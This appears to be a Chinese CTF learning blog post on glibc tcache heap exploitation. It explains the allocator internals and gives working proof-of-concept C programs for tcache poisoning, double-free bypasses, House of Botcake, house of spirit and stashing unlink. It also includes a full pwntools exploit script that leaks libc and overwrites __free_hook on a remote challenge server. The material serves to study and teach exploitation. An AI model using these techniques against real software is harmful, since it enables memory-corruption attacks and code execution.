tcache attack
zach0ry

tcache结构体

在 glibc 2.27 里,chunk 被 free 后如果满足大小范围且对应 bin 未满,就会按对齐后的 size class 进入该线程的 tcache:每个 size class 对应一个 tcache bin,bin 里只存同一对齐尺寸的 chunk,并用单链表管理;

具体做法是把 freed chunk 的用户区前 16 字节改写为 tcache_entry,其中前 8 字节存 next 指针、后 8 字节存 key(用于简单的 double free 检测),然后采用头插法把它挂到 tcache->entries[idx] 上,因此整体呈 LIFO(后进先出)顺序供后续同尺寸 malloc 优先取出。

tcache_entry

在 tcache 中新增了两个结构体,分别是 tcache_entrytcache_perthread_struct

1
2
3
4
typedef struct tcache_entry
{
struct tcache_entry *next;//fd,下一个大小相同的空闲tcache chunk
} tcache_entry;

这里的next指针指向的是user data部分,也就是说指向的是chunk head+0x10地址处
而fastbin则指向的是chunk head

tchache struct

1
2
3
4
5
6
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];//每个tcache bin链的chunk个数
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;

收藏了所有的tcache_entry
这个管理结构会在第一次调用malloc时,先malloc一块内存用来存放tcache_perthread_struct。因此做glibc >=2.26的题时,gdb的时候第一个堆块即为tcache_perthread_struct

tcache_get

1
2
3
4
5
6
7
8
9
10
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];//tc_idx 是要取的 tcache bin 下标(对应某个 size class)
assert (tc_idx < TCACHE_MAX_BINS);//malloc的size合理
assert (tcache->entries[tc_idx] > 0);//不是 NULL
tcache->entries[tc_idx] = e->next;//取出第一个e,头节点指向往后移
--(tcache->counts[tc_idx]);
return (void *) e;
}

tcache_get 中,仅仅检查了 tc_idx ,此外,我们可以将 tcache 当作一个类似于 fastbin 的单独链表,只是它的 check,并没有 fastbin 那么复杂,仅仅检查 tcache->entries[tc_idx] = e->next;

tcache_put

1
2
3
4
5
6
7
8
9
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

tcache bin使用

malloc 查找/分配总体流程

  1. 对请求大小做对齐与最小化
  • 用户请求 bytes
  • 计算对齐后的 nb(实际 chunk size,含头部、对齐到 0x10,且 ≥ MINSIZE)
  1. 先查 tcache(线程私有缓存)
  • 如果 nb 在 tcache 支持范围内,算 tc_idx
  • tcache->counts[tc_idx] > 0
    • 直接 tcache_get(tc_idx) 弹出表头并返回
  • tcache miss 才继续往下
  1. 若是小块,查 fastbin(arena 级)
  • 条件:nb <= get_max_fast()
  • idx = fastbin_index(nb)
  • 若 fastbin[idx] 非空:
    • 弹出一个 victim
    • 校验 victim 的真实 size 是否属于当前 idx
    • 顺便把 fastbin 里剩下的同尺寸 chunk 回填进 tcache(refill)
    • 返回 victim
  1. 查 smallbin(精确大小 bins)
  • 如果 nb 属于 smallbin 范围
  • 直接看对应 smallbin 是否有空闲 chunk
  • 有则取出(FIFO/双向链表)
  1. 处理 unsorted bin(未分类大杂烩)
  • 先遍历 unsorted:
    • 若有大小正好/足够的 chunk
      • 可能直接切割返回
    • 不合适的会被分流进 smallbin/largebin
  1. 查 largebin(大块,按范围分组)
  • 找到最合适的(best-fit)
  • 可能切割返回
  1. 都没有就从 top chunk 切
  • top 足够大 → 切一块返回,剩下继续当 top
  1. top 也不够就向系统要内存
  • sbrk 扩展 heap 或 mmap 直接映射大块
  • 生成新 top 或直接返回 mmap 块

一句话版顺序

tcache → fastbin → smallbin → unsorted → largebin → top → sysmalloc(sbrk/mmap)

内存申请:

(1)首先,申请的内存块符合 fastbin 大小时并且在 fastbin 内找到可用的空闲块时,会把该 fastbin 链上的其他内存块放入 tcache 中。

(2)其次,申请的内存块符合 smallbin 大小时并且在 smallbin 内找到可用的空闲块时,会把该 smallbin 链上的其他内存块放入 tcache 中。

(3)当在 unsorted bin 链上循环处理时,当找到大小合适的链时,并不直接返回,而是先放到 tcache 中,继续处理。

贴个符合 fastbin 的时候

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
//tcachebin不满足时
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))//判断是否属于 fastbin 范围
{//nb 是当前 malloc 需要的 chunk size(对齐后的大小)。
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp;
victim = *fb;
//fastbin不为空
if (victim != NULL)
{
if (SINGLE_THREAD_P)
*fb = victim->fd;
else
REMOVE_FB (fb, pp, victim);
//校验size的合理性
if (__glibc_likely (victim != NULL))
{
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))//实际size和malloc计算的下标校验
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
//填补tcache_bin
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)//有tcache,范围合理
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count&& (tc_victim = *fb) != NULL)
{
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;//从fastbin弹出
else
{
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
}
tcache_put (tc_victim, tc_idx);//放入tcache
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}

当 tcache 这一 size 的 bin 不满足时,去 fastbin 取 chunk;取到 1 个返回,同时顺手把 fastbin 里同 size 的其它 chunk “搬运”进 tcache(直到 tcache 满或 fastbin 空)。逐段解释如下。

unsoreted bin扫描

在 glibc 2.27 的 _int_malloc 遍历 unsorted bin 时,只有一类 chunk 会被“顺手塞进 tcache”和当前申请大小同尺寸的小块

开启mp_.tcache_unsorted_limit > 0(提前返回)

1
2
3
4
5
6
7
8
9
10
11
#if USE_TCACHE
/* If we've processed as many chunks as we're allowed while
filling the cache, return one of the cached ones. */
++tcache_unsorted_count;//为了给 tcache 回填,在 unsorted bin 里已经处理了多少个 chunk
if (return_cached
&& mp_.tcache_unsorted_limit > 0&& tcache_unsorted_count > mp_.tcache_unsorted_limit)
//有返回的chunk以及扫描到达最大的限度了会停
{
return tcache_get (tc_idx);
}
#endif

没有开启

1
2
3
4
5
6
7
#if USE_TCACHE
/* If all the small chunks we found ended up cached, return one now. */
if (return_cached)
{
return tcache_get (tc_idx);
}
#endif

内存释放:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
mchunkptr nextchunk; /* next contiguous chunk */
INTERNAL_SIZE_T nextsize; /* its size */
int nextinuse; /* true if nextchunk is used */
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd; /* misc temp for linking */

size = chunksize (p);

/* Little security check which won't hurt performance: the
allocator never wrapps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");

check_inuse_chunk(av, p);

#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);

if (tcache
&& tc_idx < mp_.tcache_bins
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
#endif

......
}

攻击方法

tcache poisoning

通过覆盖 tcache 中的 next,不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
// disable buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n"
"The attack is very similar to fastbin corruption attack.\n");
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");

size_t stack_var;
intptr_t *a = malloc(128);
intptr_t *b = malloc(128);
free(a);
free(b);

printf("Now the tcache list has [ %p -> %p ].\n", b, a);
printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
"to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
b[0] = (intptr_t)&stack_var;
printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);

printf("1st malloc(128): %p\n", malloc(128));
printf("Now the tcache list has [ %p ].\n", &stack_var);

intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
printf("We got the control\n");

assert((long)&stack_var == (long)c);
return 0;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
This file demonstrates a simple tcache poisoning attack by tricking malloc into
returning a pointer to an arbitrary location (in this case, the stack).
The attack is very similar to fastbin corruption attack.
After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,
We have to create and free one more chunk for padding before fd pointer hijacking.

The address we want malloc() to return is 0x7ffe8ecf4778.
Allocating 2 buffers.
malloc(128): 0x564de7a1e260
malloc(128): 0x564de7a1e2f0
Freeing the buffers...
Now the tcache list has [ 0x564de7a1e2f0 -> 0x564de7a1e260 ].
We overwrite the first 8 bytes (fd/next pointer) of the data at 0x564de7a1e2f0
to point to the location to control (0x7ffe8ecf4778).
Now the tcache list has [ 0x564de7a1e2f0 -> 0x7ffe8ecf4778 ].
1st malloc(128): 0x564de7a1e2f0
Now the tcache list has [ 0x7ffe8ecf4778 ].
2nd malloc(128): 0x7ffe8ecf4778
We got the control

a,b首次free之后

image-20251202172251803

修改b的next指针

image-20251202172751216

即可malloc到目标位置,tcache的校验不严格

可以看出,tcache_put() 的检查也可以忽略不计(甚至没有对 tcache->counts[tc_idx] 的检查),大幅提高性能的同时安全性也下降了很多。

因为没有任何检查,所以我们可以对同一个 chunk 多次 free,造成 cycliced list。

eg:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int main(){	
long long *p,*q,*r;
init();
p = malloc(0x68);
free(p);
p[0] = __free_hook;

q = malloc(0x68);
r = malloc(0x68);

r[0] = system;
strcpy(q,"/bin/sh");
free(q);

}

double free

在2.27中没有校验

类似 fastbin dup,不过利用的是 tcache_put() 的不严谨

1
2
3
4
5
6
7
8
9
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

直接就是两次free

image-20240719161330250

image-20240719161523304

glibc 2.29 相比 2.27 的 tcache dup(tcachebin double free) 主要改动是:加强了 double free 检测,靠 tcache_entry->key 阻止同一 chunk 被再次放回同一个 tcache bin,使得 2.27 那种“直接 double free 同一块进 tcache”不再可行

在 2.29 下,只要 A 还在对应 tcache bin 里,第二次 free(A) 就会因为 key 检测被拦截。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);

/* This test succeeds on double free. However, we don't 100%
trust it ... so verify it's not an unlikely coincidence
before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);

for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");

/* If we get here, it was a coincidence. */
}

if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}

可以看到,首先执行__glibc_unlikely(e->key==tcache),之后通过一个for循环进行判断,遍历tcache->entries[tc_idx]中所有的next指针,检测有无tmp==e。所以,如果连续两次释放同一个chunk,那么这两个chunk(tcache_entry)的chunk ->key肯定等于同一个key,并且在遍历的时候就会发现有相同的情况,然后报错并退出。同时,因为这里的检测机制是通过遍历整个tcache bin链来检测是否有相同的chunk,所以利用p,q,p的形式也会被检测出来。

针对这个检测机制,这里给出两个绕过的思路:

fastbin三重

思路一:借 fastbin 三重释放 + tcache 回填(refill)间接做任意分配

具体思路:

  1. 让 chunk 先不进 tcache,而是进 fastbin。
    • 常见做法是先把对应 size 的 tcache 填满(7 个),再 free 目标 chunk。
    • 这样目标 chunk 会落到 fastbin,而不是 tcache。
  2. 在 fastbin 里做“p, q, p”的重复释放(fastbin dup / 三重释放链形态)。
    • fastbin 结构是 arena 级单链表,历史上对 double free 的限制没 tcache 那么严格。
    • 释放顺序 p -> q -> p 会让 fastbin 链里出现同一个 p 两次(形态类似 p -> q -> p)。
  3. 之后 malloc 同尺寸时,流程会先看 tcache(空了/不够才看 fastbin)。
    • 当 malloc miss 到 fastbin 并取出一个 chunk 后,glibc 会执行 fastbin → tcache 的 refill
      • “顺手把 fastbin 里剩余的同尺寸 chunk 搬进 tcache”。
  4. 利用这个 refill,把你在 fastbin 里伪造/重复的链条“搬运”进 tcache。
    • 一旦重复的 p 被搬进 tcache,后续 malloc 就会从 tcache 里按 LIFO 取出。
    • 你可以进一步 污染 fastbin 的 fd/next(或利用重复 chunk 的可写性),最终实现 任意地址进入 tcache → 任意地址 malloc

为什么说“比 fastbin 三重释放效果更好、没有 0x7 限制”?

  • fastbin dup 最终仍要从 fastbin 取块;而 tcache 是更优先的快路径。
  • 一旦把“伪造链”搬进 tcache,你后续可以连续取块,不再受 fastbin 那些路径/检查影响。
  • “0x7 限制”指 tcache 每个 bin 最多 7 个:这里的含义是
    任意地址分配一旦成功进入 tcache 返回链,你能更自由地控制返回顺序,实际利用面更大(作者在强调“利用强度”)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <string.h>
#define __free_hook 0x7ffff7fb45a8
#define system 0x7ffff7e1ffd0

long long list[0x10] = {0};

void init() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
setvbuf(stderr, 0, 1, 0);
}

int main(){
long size = 0x68,i;
long long *p,*q,*r,*junk;
init();

p = malloc(size);
q = malloc(size);

for(i=0;i<7;i++){//填补7个chunk把tcache_bin补满
list[i] = malloc(size);
}
for(i=0;i<7;i++){
free(list[i]);
list[i] = 0;
}
free(p);//pqp
free(q);
free(p);
sleep(0);

for(i=0;i<7;i++){
list[i] = malloc(size);
}

p = malloc(size);//移chunk到tcache中
p[0] = __free_hook;
sleep(0);
q = malloc(size);
junk = malloc(size);//p
r = malloc(size);//__free_hook
r[0] = system;//覆盖为system函数

strcpy(q,"/bin/sh");
free(q);
sleep(0);
}

编译

1
gcc -Wl,-z,lazy -pie -z noexecstack -fstack-protector-all tcache_double_free_use_fastbin.c -o tcache_double_free_use_fastbin

7次free之后

image-20251202204753415

pqpfree之后

image-20251202205029945

8次malloc之后移进tcache bin

image-20251202210528530

改 size

思路二:off-by-null 改 size,让两次 free 落到不同 tc_idx 绕过检测

核心背景:

  • 2.29 的 tcache double free 检测逻辑是:
    1. e->key == tcache,怀疑 double free;
    2. 遍历当前 tc_idx 对应的那一条 tcache 链,看链上是否已有这个 e
    3. 有就报错。

也就是说,它只检查**“同一个 size class(同一个 tc_idx)里是否重复”**。

具体思路:

  1. 先 free 一次 chunk A,让它进 tcachebin[tc_idx1]。
    • 此时 A 的 key 被写成 tcache,A 在 entries[tc_idx1] 链上。
  2. 用 off-by-null / UAF 等漏洞改 A 的 size 字段。
    • 把它伪造成另一个对齐后的大小(size2)。
    • 这样再次 free 时,csize2tidx(size2) 会得到 另一个 tc_idx2
  3. 第二次 free 同一块 A。
    • free 路径会根据“被你改过的 size2”计算 tc_idx2,
    • 然后只去检查 tcache->entries[tc_idx2] 这条链。
    • 由于 A 真实存在于 tc_idx1 链上,tc_idx2 链上没有它,
      遍历检查就找不到重复
      → double free 检测被绕过。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <string.h>
#define __free_hook 0x7ffff7fb45a8
#define system 0x7ffff7e1ffd0

void init() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
setvbuf(stderr, 0, 1, 0);
}

int main(){
long size1 = 0x108;
long size2 = 0xf8;
long long *p,*q,*r,*junk;
init();
p = malloc(size1);
free(p);
*((char *)p - 8) = 0;//改size,绕过检验
free(p);

p = malloc(size1);
p[0] = __free_hook;
sleep(0);

q = malloc(size2);
r = malloc(size2);
printf("%p\n",r);
sleep(0);

r[0] = system;

strcpy(q,"/bin/sh");
free(q);
sleep(0);
}

image-20251202210009015

修改size之后重新free

image-20251202210130594

House of Botcake

奇安信

分配七个填充堆块(小于最大的Tcache,大于最大的Fastbin),一个辅助堆块 prev ,一个利用堆块 victim

1
2
3
4
5
6
7
8
// https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_botcake.c
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
intptr_t *prev = malloc(0x100);
intptr_t *victim = malloc(0x100);
malloc(0x10); // 防止合并

free 掉七个填充堆块,此时对应大小的 Tcache 被填满

1
2
3
for(int i=0; i<7; i++){
free(x[i]);
}

free 掉利用堆块 victim,由于此时 Tcache 被填满,victim 进入 Unsortedbin(绕过了 key 的产生)

1
free(victim);

free 掉辅助堆块 prev,此时俩 Unsortedbin 相邻,会触发 Unsortedbin Consolidate 合并成一个大堆块

1
free(prev);

申请出一个堆块,此时会优先从 Tcache 中取出一个填充堆块腾出位置。然后再 Free 掉 victim ,victim 进入 Tcache,完成 Double Free

1
2
3
4
malloc(0x100);
/*VULNERABILITY*/
free(victim);// victim is already freed
/*VULNERABILITY*/

tcache house of spirit

伪造一个size,并且free对应的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
setbuf(stdout, NULL);
malloc(1);
unsigned long long *a; //pointer that will be overwritten
unsigned long long fake_chunks[10] __attribute__((aligned(0x10))); //fake chunk region


fake_chunks[1] = 0x40; // this is the size
a = &fake_chunks[2];
free(a);

void *b = malloc(0x30);

assert((long)b == (long)&fake_chunks[2]);
}

下图可以看到free 目标地址会把它放入tcache中

image-20251205185144206

这种攻击利用的是 tcache bin 有剩余 (数量小于 TCACHE_MAX_BINS ) 时,同大小的 small bin 会放进 tcache 中 (这种情况可以用 calloc 分配同大小堆块触发,因为 calloc 分配堆块时不从 tcache bin 中选取)。在获取到一个 smallbin 中的一个 chunk 后会如果 tcache 仍有足够空闲位置,会将剩余的 small bin 链入 tcache ,在这个过程中只对第一个 bin 进行了完整性检查,后面的堆块的检查缺失。当攻击者可以写一个 small bin 的 bk 指针时,其可以在任意地址上写一个 libc 地址 (类似 unsorted bin attack 的效果)。构造得当的情况下也可以分配 fake chunk 到任意地址。

利用 glibc 2.27/2.29 的一个机制:

calloc 在某些情况下会 从 smallbin 拿一个 chunk 给用户
同时把 smallbin 里剩下的 chunk “顺手塞进 tcache”(stash)
塞的时候会对 smallbin 剩余 chunk 做一次 unlink(双向链表摘除)

如果我们能提前把 smallbin 中某个 chunk(victim)的 bk 指针改成“任意地址 fake_chunk”,
那么 unlink 时会执行:

1
bck->fd = fwd

这就把 fwd(一个 libc 指针)写到 fake_chunk 的 fd 位置,
等价于一次 任意地址写 libc 指针,并且 fake_chunk 会被当成真实 chunk 挂进 tcache。

最后再 malloc 同 size,就会回收(返回)这个 fake_chunk 的 user 指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;

setbuf(stdout, NULL);

printf("This file demonstrates the stashing unlink attack on tcache.\n\n");
printf("This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n");
printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");

// stack_var emulate the fake_chunk we want to alloc to
printf("Stack_var emulates the fake chunk we want to alloc to.\n\n");
printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");

stack_var[3] = (unsigned long)(&stack_var[2]);

printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
printf("Now we alloc 9 chunks with malloc.\n\n");

//now we malloc 9 chunks
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}

//put 7 chunks into tcache
printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");

for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}

printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");

//last tcache bin
free(chunk_lis[1]);
//now they are put into unsorted bin
free(chunk_lis[0]);
free(chunk_lis[2]);

//convert into small bin
printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");

malloc(0xa0);// size > 0x90

//now 5 tcache bins
printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");

malloc(0x90);
malloc(0x90);

printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);

//change victim->bck
/*VULNERABILITY*/
chunk_lis[2][1] = (unsigned long)stack_var;
/*VULNERABILITY*/

//trigger the attack
printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");

calloc(1,0x90);

printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);

//malloc and return our fake chunk on stack
target = malloc(0x90);

printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);

assert(target == &stack_var[2]);
return 0;
}

9个chunk全部free之后(进入unsorted的两个chunk不相邻,担心合并)

image-20251205194824157

malloc(0xa0)让chunk从unsorted进入small

image-20251205194900238

再两次malloc从tcache取出

image-20251205195304101

改chunk2的bk

image-20251205195601315

calloc 从 smallbin 取 chunk0个后,会把chunk2塞进进 tcache

当 glibc 从 smallbin 里拿到一个 chunk 来满足分配时,如果发现 tcache 这个 size 的 bin 还有空位,就会把 smallbin 里剩下的同尺寸 chunk 也一起搬进 tcache 里备用。
这批“搬进去备用”的动作就叫 stashing(塞缓存/存货)

1
2
3
4
bck = C2->bk;
fwd = C2->fd;
bck->fd = fwd;#->stack_var[2]=main_arena
fwd->bk = bck;

image-20251205201011108

例题

[CISCN 2019东南]PWN5

delete没有uaf

edit输入size个字符

add有管理chunk

edit的realloc

image-20251207161927575

注意

1.tcache的覆盖范围

tcache 覆盖的最大 chunk size0x410(对应 bin index 63 的 size class 是 0x420? 这里注意不同版本的定义方式,但结论一致:用户 size 上限是 0x408)

2.realloc 的规则可以记成:

  1. ptr=NULL → malloc

  2. size=0 → free

  3. ③ size < old_size(缩小)

    直接缩小,返回原 ptr
    被裁掉的部分会被释放并进 bin

    • realloc 会把 chunk 变小。
    • 返回的还是原指针(大多数情况下)。
    • 末尾多出来的那段会变成新的空闲 chunk,进入 tcache/fastbin/unsortedbin 等。

    利用意义:

    • 可以制造“切割出来的 free chunk”,做堆风水或 overlap 准备。
  4. size > old_size(扩大)

    ④-1 原 chunk 后面有足够空闲空间

    原地扩展,返回原 ptr

    • 如果后面紧挨着 top chunk 或 free chunk,且空间够大,glibc 会直接把当前块向后吃掉。
    • 指针不变,内容保留。

    ④-2 后面空间不够

    先分配新块 → 拷贝旧内容 → free 旧块 → 返回新 ptr

    • realloc 申请一块新的 size 内存
    • 拷贝 min(old_size, size) 字节
    • 释放旧 chunk
    • 返回新地址

3.main_arena的libc校验

很多发行版的 libc 不导出 main_arena 符号(被 strip 掉),此时libc.sym[‘main_arena’]不可使用

4.malloc(0)

在 glibc 里,malloc(0) 的语义是实现定义,但常见行为是:

  • 返回一个非 NULL 的有效指针
  • 这个指针指向一个最小 chunk(64 位下一般是 chunk_size=0x20)
  • 这个 chunk 可以被 free,并进入对应的 tcache bin。

也就是说:

1
p = malloc(0);

通常等价于拿到一个“0x20 类”的小块(虽然用户区大小为 0,但 chunk 还是存在)。

先把chunk放入unsorted bin中泄露libc_base

1
2
3
4
5
6
7
8
9
10
11
12
add(0x410)#0
add(0x10)

delete(0)
add(0x410,b"a"*0x8)
show(0)
#dbg()
p.recvuntil(b"a"*8)
hook=u64(p.recv(6).ljust(0x8,b'\x00'))-0x70
libc_base=hook-libc.sym['__malloc_hook']
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']

image-20251207164313034

malloc(0),使得合适的位置的为0以触发uaf

image-20251207161616433

用relloc实现double free

之后就可以覆盖了

1
2
3
4
5
6
7
8
9
10
11
add(0)#2
sla(b"Your choice:",str(2))
sla(b"Index:",str(2))
delete(2)
one_gadget=libc_base+0x4f302


add(0x10,p64(free_hook))
add(0x10,p64(one_gadget))

delete(0)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
import sys
from LibcSearcher import *

file_path = "./111"
remote_host = "node5.anna.nssctf.cn"
remote_port = 27651
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
libc = elf.libc
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
# gdb.attach(p, """
# b *0x08048666
# c
# """, api=True)


def dbg():
gdb.attach(p)
pause()
def sla(a, b):
p.sendlineafter(a, b)
def ru(a):
p.recvuntil(a)
def sa(a, b):
p.sendafter(a, b)

def add(size, content=b'a'):
p.recvuntil(b"Your choice:")
p.sendline(b'1')
p.recvuntil(b"size?>")
p.sendline(str(size).encode())
p.recvuntil(b"content:")
p.send(content)

def delete(idx):
p.recvuntil(b"Your choice:")
p.sendline(b'4')
p.recvuntil(b"Index:")
p.sendline(str(idx).encode())

def show(idx):
p.recvuntil(b"Your choice:")
p.sendline(b'3')
p.recvuntil(b"Index:")
p.sendline(str(idx).encode())

def edit(idx, content):
p.recvuntil(b"Your choice:")
p.sendline(b'2')
p.recvuntil(b"Index:")
p.sendline(str(idx).encode())
p.recvuntil(b"New content:")
p.send(content)

add(0x410)#0
add(0x10)#1

delete(0)
add(0x410,b"a"*0x7+b"b")#0
show(0)
#dbg()
p.recvuntil(b"aaaaaaab")
hook=u64(p.recv(6).ljust(0x8,b'\x00'))-0x70
libc_base=hook-libc.sym['__malloc_hook']
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']


add(0)#2
sla(b"Your choice:",str(2))
sla(b"Index:",str(2))
delete(2)
one_gadget=libc_base+0x4f302


add(0x10,p64(free_hook))
add(0x10,p64(one_gadget))

delete(0)

p.interactive()

isctf2025 ez_tcache

House of Botcake

附件

1
2
3
4
5
6
7
8
9
10
11
12
for _ in range(7):
add(0x80)

add(0x80)#7
add(0x80)#8
